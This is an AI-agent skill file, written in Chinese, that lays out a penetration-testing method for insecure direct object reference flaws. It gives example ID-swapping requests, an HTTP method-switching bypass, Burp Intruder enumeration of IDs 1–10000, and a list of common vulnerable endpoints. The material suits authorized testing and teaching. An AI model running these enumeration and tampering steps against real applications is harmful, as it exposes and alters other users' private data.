
关于
提供识别和利用 Web 应用中不安全直接对象引用(IDOR)漏洞的系统方法论。
name: idor-testing description: "提供识别和利用 Web 应用程序中不安全直接对象引用(IDOR)漏洞的系统化方法。" risk: offensive source: community author: zebbern date_added: "2026-02-27"
仅限授权使用:仅在授权的安全评估、防御验证或受控教育环境中使用此技能。
IDOR 漏洞测试
目的
提供识别和利用 Web 应用程序中不安全直接对象引用(IDOR)漏洞的系统化方法。此技能涵盖数据库对象引用和静态文件引用、使用参数操纵和枚举的检测技术、通过 Burp Suite 的利用方法,以及保护应用程序免受未授权访问的修复策略。
输入/前提条件
- 目标 Web 应用程序:具有用户特定资源的应用程序 URL
- 多个用户账户:至少两个测试账户以验证跨用户访问
- Burp Suite 或代理工具:用于请求操纵的拦截代理
- 授权:安全测试的书面许可
- 理解应用程序流程:了解对象如何被引用(ID、文件名)
输出/交付物
- IDOR 漏洞报告:已发现的访问控制绕过文档
- 概念验证:跨用户上下文未授权数据访问的证据
- 受影响端点:易受攻击的 API 端点和参数列表
- 影响评估:数据暴露严重程度分类
- 修复建议:针对已识别漏洞的具体修复方案
核心工作流程
1. 理解 IDOR 漏洞类型
数据库对象的直接引用
当应用程序通过用户可控参数引用数据库记录时发生:
# Original URL (authenticated as User A)
example.com/user/profile?id=2023
# Manipulation attempt (accessing User B's data)
example.com/user/profile?id=2022
静态文件的直接引用
当应用程序暴露可被枚举的文件路径或名称时发生:
# Original URL (User A's receipt)
example.com/static/receipt/205.pdf
# Manipulation attempt (User B's receipt)
example.com/static/receipt/200.pdf
2. 侦察和设置
创建多个测试账户
Account 1: "attacker" - Primary testing account
Account 2: "victim" - Account whose data we attempt to access
识别对象引用
捕获并分析包含以下内容的请求:
- URL 中的数字 ID:
/api/user/123 - 参数中的数字 ID:
?id=123&action=view - 请求体中的数字 ID:
{"userId": 123} - 文件路径:
/download/receipt_123.pdf - GUID/UUID:
/profile/a1b2c3d4-e5f6-...
映射用户 ID
# Access user ID endpoint (if available)
GET /api/user-id/
# Note ID patterns:
# - Sequential integers (1, 2, 3...)
# - Auto-incremented values
# - Predictable patterns
3. 检测技术
URL 参数操纵
# Step 1: Capture original authenticated request
GET /api/user/profile?id=1001 HTTP/1.1
Cookie: session=attacker_session
# Step 2: Modify ID to target another user
GET /api/user/profile?id=1000 HTTP/1.1
Cookie: session=attacker_session
# Vulnerable if: Returns victim's data with attacker's session
请求体操纵
# Original POST request
POST /api/address/update HTTP/1.1
Content-Type: application/json
Cookie: session=attacker_session
{"id": 5, "userId": 1001, "address": "123 Attacker St"}
# Modified request targeting victim
{"id": 5, "userId": 1000, "address": "123 Attacker St"}
HTTP 方法切换
# Original GET request may be protected
GET /api/admin/users/1000 → 403 Forbidden
# Try alternative methods
POST /api/admin/users/1000 → 200 OK (Vulnerable!)
PUT /api/admin/users/1000 → 200 OK (Vulnerable!)
4. 使用 Burp Suite 进行利用
手动利用
1. Configure browser proxy through Burp Suite
2. Login as "attacker" user
3. Navigate to profile/data page
4. Enable Intercept in Proxy tab
5. Capture request with user ID
6. Modify ID to victim's ID
7. Forward request
8. Observe response for victim's data
使用 Intruder 进行自动化枚举
1. Send request to Intruder (Ctrl+I)
2. Clear all payload positions
3. Select ID parameter as payload position
4. Configure attack type: Sniper
5. Payload settings:
- Type: Numbers
- Range: 1 to 10000
- Step: 1
6. Start attack
7. Analyze responses for 200 status codes
多位置 Battering Ram 攻击
# When same ID appears in multiple locations
PUT /api/addresses/§5§/update HTTP/1.1
{"id": §5§, "userId": 3}
Attack Type: Battering Ram
Payload: Numbers 1-1000
5. 常见 IDOR 位置
API 端点
/api/user/{id}
/api/profile/{id}
/api/order/{id}
/api/invoice/{id}
/api/document/{id}
/api/message/{id}
/api/address/{id}/update
/api/address/{id}/delete
兼容工具
Claude CodeCursor
标签
安全
